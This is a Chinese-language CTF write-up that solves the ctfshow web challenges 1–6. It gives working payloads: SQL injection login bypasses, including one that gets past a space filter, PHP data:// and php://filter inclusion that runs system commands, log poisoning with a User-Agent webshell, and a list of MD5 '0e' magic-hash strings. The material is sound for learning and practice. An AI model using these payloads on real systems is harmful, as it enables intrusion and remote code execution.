ctfshow之web专题
0x01前言
因为这里的题有些也是比较简单的,所以这里的知识点和做法不会讲述特别多,不会的可以直接看其他文章的题目有写的很详细的
0x02题目
web签到题
查看源代码然后拿去进行base64编码就可以拿到flag了
web2
最简单的sql注入
进来是一个,页面源代码也没什么可用的信息,那我们就测试一下
先用永真语句打一下
1 | username=1' or '1' ='1'--+&password=1 |
可以看到登录成功了,那我们就拿ctfshow作为账号去打一下
1 | 判断字段数 |
成功拿到flag!
web3
更简单的web题
include文件包含
直接用伪协议做试一下
1 | ?url=php://filter/read=convert.base64-encode/resource=flag.php |
但是没什么,应该是文件名不对
那我们用data伪协议去做
1 | data://text/plain,<?php system('ls');?> |
读取文件
1 | data://text/plain,<?php system('tac ctf_go_go_go');?> |
成功拿到flag
这里也可以用input伪协议去做,url传入php://input,然后抓包用post传入命令或一句话木马
或者也可以用日志注入,方法有很多,就不赘述了
web4
和上一题一样的页面,我们先测试一下刚刚的方法能不能做
好吧页面没反应,应该是过滤了,我们试试input,发现出现了error
那就试一下日志注入吧
先看一下服务器的版本
是nginx,那就访问nginx下的access.log,url传参
1 | ?url=/var/log/nginx/access.log |
在UA头传入一句话木马
然后访问并用蚁剑连接
然后在里面找flag就可以了
web5
1 | ctf.show_web5 |
我们只看里面的php代码就行了
1 |
|
代码分析:
ctype_alpha($v1)
在PHP中,ctype_alpha($v1)
函数用于检查字符串 $v1
是否只包含字母字符。如果字符串中的所有字符都是字母(A-Z和a-z),则函数返回 true
,否则返回 false
。
is_numeric($v2)
在 PHP 中,is_numeric($v2)
函数用于检查变量 $v2
的值是否为一个数字或数字字符串。如果 $v2
是一个数字,包括整数或浮点数,或者是表示数字的字符串(比如 "123"
或 "3.14"
),则函数返回 true
;否则返回 false
。
这里的话就是绕过md5验证,要求v1为为字母,v2为数字,并且v1与v2的md5值相同。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。
v1=QNKCDZO&v2=240610708
这两个的md5值都是0e开头,所以他们的md5值相等
开头为0E(MD5值碰撞)
字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
web6
是跟前面一样的登录界面
测试一下发现好像有过滤
出现一个sql注入错误,看看过滤了什么
测试后发现过滤了空格,用内联注释绕过
然后发现过滤了–+注释符号,我们换成#
1 | username=1'/**/or/**/'1'='1'#&password=1 |
这下可以了
1 | 判断字段数 |
成功拿到flag